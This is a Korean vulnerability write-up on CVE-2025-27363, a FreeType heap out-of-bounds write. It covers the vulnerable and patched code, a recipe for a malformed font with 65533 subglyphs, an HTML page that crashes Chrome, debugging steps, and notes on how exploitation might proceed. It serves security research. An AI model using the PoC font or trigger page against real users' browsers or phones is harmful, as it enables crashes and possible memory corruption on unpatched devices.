CVE-2025-27363 FreeType OOB

CVE-2025-27363 FreeType OOB

2025년 7월 8일

ref #


CVE-2025-27363 #

개요 #

FreeType 라이브러리 (~2.13.0 버전) 에서 정수 형변환 overflow로 인한 out-of-bound 취약점 발생

ed02b8df-3446-4e5a-bbe8-7e328b795c74

AOSP 13, 14 버전에서 2025-05-05 보안패치로 해결된 취약점 (커밋은 3월)

15 버전부터는 초기버전부터 FreeType 폰트 라이브러리를 2.13.1 이상의 버전을 사용하고 있어서 취약점을 사용할 수 없다.


취약점 설명 #

FreeType 문자 저장 방식 #

FreeType 문자는 글리프라는 단위로 시각적인 표현을 하며 크게 단일 글리프와 복합 글리프가 있다. 단일 글리프는 벡터 outline이나 비트맵 정보가 직접 포함된 글리프이며, 서브글리프 정보가 포함되지 않는다.

여러 모양이 합쳐져 문자가 만들어지는 경우 복합 글리프로 표현되며 여러개의 서브글리프로 구성하여 하나의 문자를 만들게된다.

ex) Á = A + ´ → 이때 A와 ´가 서브글리프

하나의 복합 글리프에서 서브 글리프는 최대 maxComponentElements 개 까지 지정할 수 있으며 unsigned short 타입이기 때문에 65535가 폰트 스펙상 최대 수치이다.


PoC 폰트 #

  • 원본 rf.xml
    uni0025 의 서브글리프가 3개로 이뤄짐
    1<TTGlyph name="uni0025" xMin="68" yMin="-43" xMax="1780" yMax="1504">
    2  <component glyphName="zerosuperior" x="1" y="0" flags="0x404"/>
    3  <component glyphName="uni2044" x="747" y="0" flags="0x4"/>
    4  <component glyphName="zerosuperior" x="1060" y="-700" flags="0x4"/>
    5</TTGlyph>
    
  • 수정된 rf2.xml
    서브글리프를 추가해서 65533개가 됨
     1<TTGlyph name="uni0025" xMin="68" yMin="-43" xMax="1780" yMax="1504">
     2  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     3  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     4  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     5  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     6  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     7  <component glyphName="uni0020" x="747" y="0" flags="0x4"/>
     8  // ... uni0020(공백) 글리프가 65530개, 원본 글리프가 3개
     9  <component glyphName="zerosuperior" x="1" y="0" flags="0x404"/>
    10  <component glyphName="uni2044" x="747" y="0" flags="0x4"/>
    11  <component glyphName="zerosuperior" x="1060" y="-700" flags="0x4"/>
    12</TTGlyph>
    

발생 위치 #

num_subglyphs 는 unsigned int 타입이며, 스펙상 65535까지 지정할 수 있는데, limit 에 저장할 땐 short 타입으로 캐스팅하여 저장하기 때문에 오버플로우가 발생한다.

FT_NEW_ARRAY 매크로 함수로 limit+4 크기의 배열을 생성하게 되는데, 1개 짜리 배열을 할당받기 위해 num_subglyphs 값을 65533(= -3) 값으로 지정한다.

 1// 메모리를 count 수 만큼 할당
 2#define FT_MEM_NEW_ARRAY( ptr, count )                              \
 3          FT_ASSIGNP_INNER( ptr, ft_mem_realloc( memory,            \
 4                                                 sizeof ( *(ptr) ), \
 5                                                 0,                 \
 6                                                 (FT_Long)(count),  \
 7                                                 NULL,              \
 8                                                 &error ) )
 9
10static FT_Error
11load_truetype_glyph( TT_Loader  loader,
12                     FT_UInt    glyph_index,
13                     FT_UInt    recurse_count,
14                     FT_Bool    header_only )
15{
16    // ...
17    short        i, limit;
18
19    // !!! OVERFLOW. (short)65533 -> -3
20    limit = (short)gloader->current.num_subglyphs;
21    outline.points   = NULL;
22    outline.tags     = NULL;
23    outline.contours = NULL;
24  
25    // 길이가 1인 배열할당
26    if ( FT_NEW_ARRAY( points, limit + 4 )    ||
27         FT_NEW_ARRAY( tags, limit + 4 )      ||
28         FT_NEW_ARRAY( contours, limit + 4 )  ||
29         FT_NEW_ARRAY( unrounded, limit + 4 ) )
30      goto Exit1;
31
32    // 서브글리프 파싱? limit이 음수라서 실행되지 않음
33    subglyph = gloader->current.subglyphs;
34    for ( i = 0; i < limit; i++, subglyph++ )
35    {
36      points[i].x = subglyph->arg1;
37      points[i].y = subglyph->arg2;
38      tags[i]     = 1;
39      contours[i] = i;
40    }
41
42    // 고정으로 4개 point는 저장
43    points[i++] = loader->pp1;    // 길이가 1이기 때문에 정상 쓰기 가능
44    points[i++] = loader->pp2;    // 이 위치에서 OOB 발생
45    points[i++] = loader->pp3;
46    points[i  ] = loader->pp4;

points는 FT_Vector[] 타입이고, FT_Vector는 FT_Pos x, y 로 이뤄져 있으며 x, y는 signed long 타입이다.

windows x64 시스템은 long 타입이 4byte이며 android는 8byte이기 때문에 android 는 8*2 * 3 byte 만큼 OOB가 발생한다.


패치된 코드 #

1-      if ( FT_NEW_ARRAY( points, limit + 4 )    ||
2-           FT_NEW_ARRAY( tags, limit + 4 )      ||
3-           FT_NEW_ARRAY( contours, limit + 4 )  ||
4-           FT_NEW_ARRAY( unrounded, limit + 4 ) )
5+      if ( FT_QNEW_ARRAY( outline.points, limit + 4 ) ||   // 할당 성공
6+           FT_QNEW_ARRAY( outline.tags, limit )       ||   // 여기에서 음수로 할당실패
7+           FT_QNEW_ARRAY( outline.contours, limit )   ||
8+           FT_QNEW_ARRAY( unrounded, limit + 4 )      )
9         goto Exit1;

취약점 트리거 테스트 #

Chrome #

크롬으로 이 HTML 페이지를 실행시키면 브라우저가 폰트를 로드하고 %를 출력하면서 크래시가 발생한다. (다른 글자는 정상적으로 출력됨)

 1<html>
 2	<body>
 3	<script>
 4		font_face = new FontFace('foo', 'url("rf2.ttf")');
 5    font_face.load().then(() => {
 6      console.log('Font loaded');
 7      document.fonts.add(font_face);
 8      document.body.style.fontFamily = 'foo';
 9      document.body.textContent = '%%';
10    }).catch(err => {
11      console.error('Font failed to load', err);
12    });
13	</script>
14</body></html>

크롬 자체적으로 폰트 라이브러리를 가지고 있어서 크롬 프로세스에서 종료되는 것을 확인

f0ccea56-338b-4bb3-883e-1584ad5571e4


시스템 앱 #

system 앱에서 트리거하기 위해서는 폰트를 시스템에 설치하고 해당 폰트를 사용하는 곳을 찾아야 한다.

폰트를 시스템에 설치하기 위해서는 기본적으로 루팅이 되어있어야 하지만, 삼성, 샤오미 등 일부 제조사에서는 zfont3 앱을 사용하여 루팅 없이 폰트를 설치할 수 있다. 노루팅 폰트바꾸기

[테스트는 삼성 S22, SM-S906N, AOS 14 로 진행]
폰트 설치할 때 One UI #All 를 선택했고, 앱 검색창에 % 문자 입력 후 검색된 메뉴를 터치해서 설정 앱으로 이동할 때 크래시로그 발생
1183cb42-854b-41cd-87a9-562735ca58a1

크래시 로그를 확인해보면 load_truetype_glyph 함수에서 크래시가 발생한 것을 확인할 수 있고, com.samsung.android.lool 앱은 system 권한으로 실행되고 있는 것을 알 수 있다.

2544baa3-d0eb-49ab-b6f3-ddd0c8d31734


테스트환경 구축 #

폰트 만들기 #

로보토 폰트를 다운받은 후 압축을 풀어두고 poc의 buildfont.sh 스크립트를 따라하면 된다.

1> pip install fonttools
2
3> fonttools ttx "roboto-flex-fonts/fonts/variable/RobotoFlex[GRAD,XOPQ,XTRA,YOPQ,YTAS,YTDE,YTFI,YTLC,YTUC,opsz,slnt,wdth,wght].ttf" -o rf.xml
4> python3 givememore.py
5> fonttools ttx rf2.xml -o rf2.ttf

데모 실행 #

둘다 2.13.0 버전으로 설치한다.

freetype 라이브러리 빌드 #

https://sourceforge.net/projects/freetype/files/freetype2/2.13.0/

\freetype-2.13.0\builds\windows\vc2010 경로에 솔루션 파일이 있고, 이걸로 빌드하면 된다.


freetype demo 프로그램 빌드 #

https://sourceforge.net/projects/freetype/files/freetype-demos/2.13.0/

\ft2demos-2.13.0\builds\windows\msvc 경로에 솔루션 파일이 있다.
내부에 프로젝트가 아주 많은데 그중에 ftmulti 를 빌드해야한다.

데모 프로그램에는 freetype 라이브러리 코드가 없기 때문에 빌드할때 설정해줘야하는 것들이 있다.

  • freetype 헤더 include 경로 추가
    ftmulti 속성C/C++추가 포함(include) 디렉터리
    path\to\freetype-2.13.0\include\freetype, path\to\freetype-2.13.0\include\ 추가 4fc1cdfa-5244-453d-bfab-ebfae023c81d
  • 라이브러리 경로 추가
    ftmulti 속성링커추가 라이브러리 디렉터리
    path\to\freetype-2.13.0\objs\x64\Debug 추가 (freetype.lib 경로) ab5dd9c0-933c-406f-8c98-07066a084680

.lib 파일은 정적라이브러리역할만 하는게 아니다. .dll 빌드시에도 함께 생성되면서 .dll에서 export하는 함수들의 심볼들이 저장되기 때문에 링킹할때 경로를 지정해줘야한다. (.dll에는 구현체가 저장된다)

.lib 안에는 jmp __imp__FT_Init_FreeType 같은 중개자 thunk 코드가 들어 있다. 0a53a7d1-ab0b-418e-88d9-3ae039d06367

.h는 컴파일할때 이 함수는 외부 어딘가에 있다. 이정도고, .lib은 링킹할때 이 함수는 .dll의 특정 오프셋에 있다. 이걸 알려준다.


실행 #

2.13.0 으로 빌드한 freetype.dll 파일을 ftmulti.exe 파일과 같은 경로에 넣어둬야 동적링킹에서 최우선순위로 동일 경로에서 로드한다.
이 작업을 하지 않으면 시스템의 freetype.dll 파일을 사용하게되며, 패치된 버전일 가능성이 높아서 크래시 재현이 안된다.

1> ./ftmulti.exe rf2.ttf

Android 환경구축 #

windows와 android 는 발생하는 메모리 크기가 다르기 떄문에 android 용 테스트 파일을 만드는게 좋다.

NDK로 라이브러리 빌드 #

cmake로 세팅되어 있어서 빌드가 참 쉽다.

  1. cmake, ninja 등 경로 설정
1$env:PATH+=";C:\Users\dhkim\AppData\Local\Android\Sdk\cmake\3.30.5\bin\"
2$NDK="C:\Users\dhkim\AppData\Local\Android\Sdk\ndk\29.0.13599879"
3$CMAKE="C:\Users\dhkim\AppData\Local\Android\Sdk\cmake\3.30.5\bin\cmake.exe"
  1. CMAKE 빌드 설정
    &를 지정해줘야 파워쉘에서 실행파일 실행하는거임
    아래 두 줄을 제거하면 실행 중 OOB에서 앱이 멈추지 않음
1& $CMAKE -G "Ninja" -B build-android-debug `
2   -DCMAKE_TOOLCHAIN_FILE="$NDK\build\cmake\android.toolchain.cmake" `
3   -DANDROID_ABI=arm64-v8a `
4   -DANDROID_PLATFORM=android-33 `
5   -DCMAKE_BUILD_TYPE=Debug `
6   -DFT_ENABLE_ERROR_STRINGS=ON `
7   -DBUILD_SHARED_LIBS=OFF `
8   -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer" `
9   -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
  1. CMAKE 빌드 실행. build-android-debug 폴더에 libfreetyped.a 라이브러리생성. d 가 붙은건 디버그모드일때 붙는다.
1& $CMAKE --build build-android-debug --parallel

NDK로 실행 파일 빌드 #

데모에서 필요한 코드만 추가한다. 크래시 발생까지는 글리프를 로드하기만 하면 된다.

 1#include "./include/ft2build.h"
 2#include FT_FREETYPE_H
 3#include FT_MULTIPLE_MASTERS_H
 4#include FT_TRUETYPE_TABLES_H
 5
 6#include <stdio.h>
 7#include <stdlib.h>
 8
 9#define MAX_MM_AXES 16
10
11static FT_Library    library;
12static FT_Face       face;
13static FT_GlyphSlot  glyph;
14static FT_MM_Var*    multimaster = NULL;
15
16static FT_Fixed      design_pos[MAX_MM_AXES];
17
18static void PanicZ(const char* msg, FT_Error error) {
19    fprintf(stderr, "%s: 0x%04x\n", msg, error);
20    exit(1);
21}
22
23int main(int argc, char** argv) {
24    const char *font_path = "/data/local/tmp/rf2.ttf";
25    const char *char_str = "%";
26    if (argc == 3) {
27        font_path = argv[1];
28        char_str = argv[2];
29    }
30
31    FT_Error error;
32
33    error = FT_Init_FreeType(&library);
34    if (error)
35        PanicZ("FT_Init_FreeType failed", error);
36
37    error = FT_New_Face(library, font_path, 0, &face);
38    if (error)
39        PanicZ("FT_New_Face failed", error);
40
41    glyph = face->glyph;
42
43    // MM 설정
44    error = FT_Get_MM_Var(face, &multimaster);
45    if (!error && multimaster->num_axis <= MAX_MM_AXES) {
46        for (unsigned int i = 0; i < multimaster->num_axis; i++) {
47            design_pos[i] = multimaster->axis[i].def;
48        }
49        error = FT_Set_Var_Design_Coordinates(face, multimaster->num_axis, design_pos);
50        if (error)
51            PanicZ("FT_Set_Var_Design_Coordinates failed", error);
52    }
53
54    // 사이즈 설정
55    error = FT_Set_Char_Size(face, 64 * 64, 64 * 64, 72, 72);
56    if (error)
57        PanicZ("FT_Set_Char_Size failed", error);
58
59    // 글리프 로드
60    FT_UInt glyph_index = FT_Get_Char_Index(face, char_str[0]);
61    error = FT_Load_Glyph(face, glyph_index, FT_LOAD_NO_BITMAP);
62    if (error)
63        PanicZ("FT_Load_Glyph failed", error);
64
65    printf("Glyph index for %c: %u\n", char_str[0], glyph_index);
66    printf("FT_FACE_FLAG_VARIATION: %s\n",
67           (face->face_flags & FT_FACE_FLAG_VARIATION) ? "YES" : "NO");
68    printf("FT_IS_NAMED_INSTANCE: %s\n",
69           (face->face_index & 0x7FFF0000L) ? "YES" : "NO");
70
71    FT_Done_MM_Var(library, multimaster);
72    FT_Done_Face(face);
73    FT_Done_FreeType(library);
74    return 0;
75}

빌드 명령어 실행

1& $NDK\toolchains\llvm\prebuilt\windows-x86_64\bin\aarch64-linux-android33-clang.cmd -g -O0 -fsanitize=address -fPIE -pie -I.\include\ -L.\build-android-debug\ -lfreetyped -lz .\loadtest.c -o run_asan

이 실행파일을 안드로이드에 넣고 돌리면 앱이 멈추는데, lldb를 통해서 실행하면 sanitize로 OOB가 발생한 위치에서 멈춘다.


디버깅 #

동적 디버깅은 x64dbg, 정적 디버깅은 Ghidra를 사용했다.
Ghidra에서 dll을 디버깅하면 디버그모드로 빌드했다고 하더라도 Export 함수 외에는 심볼을 찾아오지 못하는데, pdb를 로드해줘야한다.

취약점 위치 #

명령어 위치 찾기 #

심볼이 로드된 Ghidra에서는 확인하기가 너무 쉽다.
처음에 points 배열에 메모리를 할당하고, 아래에서 points[i++] = loader->pp1 하면서 배열에 넣는다.

x64dbg에서도 디버깅하기 위해 동적할당 어셈 명령어 위치 0x10cbaf, points에 값 쓰는 위치 0x10cd8d 를 찾아둔다.

47e9eb51-f9dc-49b3-8962-03f7fb132ffd


동적 디버깅 #

x64dbg에서 명령줄 바꾸기로 인자를 넣어서 ftmulti 프로그램을 실행시킨다.

fe98c530-0913-4d15-ab9e-a6763ded884d

아까 찾아둔 malloc 위치를 보면 함수 콜 이후엔 rax에 0x8 byte sizeof(FT_Vector) 동적할당된 주소가 저장되고, 계속 실행하다보면 이 주소를 넘어 ABAB와 EEFE 값으로 저장된 초록색 공간까지 써버리는것을 확인할 수 있다.

b1e70058-c74d-45f2-916f-e791f6b979d7

d5ea6a80-4b64-46d1-be7d-f181af6d6d53


Android 디버깅 환경 설정 #

LLDB Server 켜두고 연결 #

ndk를 설치하면서 lldb-server가 함께 설치된다.

1adb push "C:\Users\dhkim\AppData\Local\Android\Sdk\ndk\29.0.13599879\toolchains\llvm\prebuilt\windows-x86_64\lib\clang\20\lib\linux\aarch64\lldb-server" /data/local/tmp
2C:\Users\dhkim\AppData\Local\Android\Sdk\ndk\29.0.13599879\...le pushed, 0 skipped. 64.8 MB/s (31097152 bytes in 0.458s)
3
4adb shell
5a51x:/ $ su
6a51x:/ # cd /data/local/tmp
7a51x:/data/local/tmp # chmod 777 lldb-server
8a51x:/data/local/tmp # ./lldb-server platform --server --listen "*:7799"

LLDB 연결 OOB 확인 #

 1C:\Users\dhkim\AppData\Local\Android\Sdk\ndk\29.0.13599879\toolchains\llvm\prebuilt\windows-x86_64\bin\lldb.cmd
 2
 3(lldb) platform select remote-android
 4  Platform: remote-android
 5 Connected: no
 6(lldb) platform connect connect://localhost:7799
 7  Platform: remote-android
 8    Triple: aarch64-unknown-linux-android
 9OS Version: 33 (4.19.87-27197889)
10  Hostname: localhost
11 Connected: yes
12WorkingDir: /data/local/tmp
13    Kernel: #1 SMP PREEMPT Thu May 16 08:31:55 KST 2024
14(lldb) target create run_asan
15(rrent executable set to 'run_asan' (aarch64)._rt.asan-aarch64-android.so...
16(lldb) b ttgload.c:1928
17(lldb) run
18(lldb) n
19Process 10980 stopped
20* thread #1, name = 'run_asan', stop reason = step over
21    frame #0: 0x0000005555669a20 run_asan`load_truetype_glyph(loader=0x0000007fffffea80, glyph_index=8, recurse_count=0, header_only='\0') at ttgload.c:1929:9
22   1927
23   1928         points[i++] = loader->pp1;
24-> 1929         points[i++] = loader->pp2;
25   1930         points[i++] = loader->pp3;
26   1931         points[i  ] = loader->pp4;
27(lldb) print limit
28(short) -3
29(lldb) print points
30(FT_Vector *) 0x00000060f0bb01d0
31(lldb) print loader->pp2
32(FT_Vector)  (x = 1848, y = 0)

악용 #

지금처럼 앱에서 발생한 OOB 취약점을 이용하려면 추가적인 작업이 필요하다.

  1. 이 메모리에 원하는 값을 쓸 수 있는가?
  2. OOB된 위치를 어떻게 잘 만져서 프로그램의 오동작을 만들 수 있는가?
    • 일단 가장 쉬운 시나리오는 이미 OOB영역에 구조체가 위치하고, 그 구조체의 함수 포인터를 활용하는 방식이다.
    • 앱 코드를 바꿀수는 없기 때문에 공격자가 의도한대로 구조체할당과 사용시점을 조작할 수 밖에 없다.
    • 앱 내부에서 사용하는 구조체 확인
    • 원하는 구조체가 OOB에 위치할 수 있도록 조작 (앱 조작으로 힙 할당 기능을 유도하는 등)
    • 원하는 타이밍에 함수 포인터가 사용될 수 있도록 조작 (콜백, 이벤트 등으로 타이밍 조작가능)

memcpy 같은 OOB는 원하는 값을 직접적으로 조정할 수 있는데, ++buffer[i] 같은건 원하는 값을 쓰기가 쉽지 않다. 그럴땐 공격을 한번 더 해서 원하는 값을 완벽하게 쓸 수 있도록 하기도 한다.


값변조 테스트 #

빨간색 네모칸의 메모리는 points[1] 위치이며 PoC에서 사용되는 rf2.ttf를 사용하게되면 0x738(1,848) 값이 저장되는데, 폰트를 만드는 중간 결과물인 xml 파일에서 검색해보면 취약한 폰트로 변환한 %의 width인 것을 알 수 있다.

이 부분을 변경하고 이 xml로 font를 만들면 pp2 값이 변조된다.
fonttools ttx rf2.xml -o ..\rf2.ttf

5ac5f850-6aa3-4a73-9396-af4068b22644

fonttools 를 사용하면 width 값을 65535이 넘는지 체크하기 때문에 만들어진 ttf 바이너리에서 hxd로 이리저리 수정해봤지만 아쉽게도 2byte를 넘어갈 순 없었다.

대신 pp3, pp4 값에 영향을 주는 곳이 0x21C 오프셋 근처라는 것을 확인했지만, 다른값이랑 계산된 이후에 메모리에 써지는 것으로 보여서 코드의 분석은 불가피할 것 같다.

4c6e05e5-96af-43f1-974f-c061461e3118

comments powered by Disqus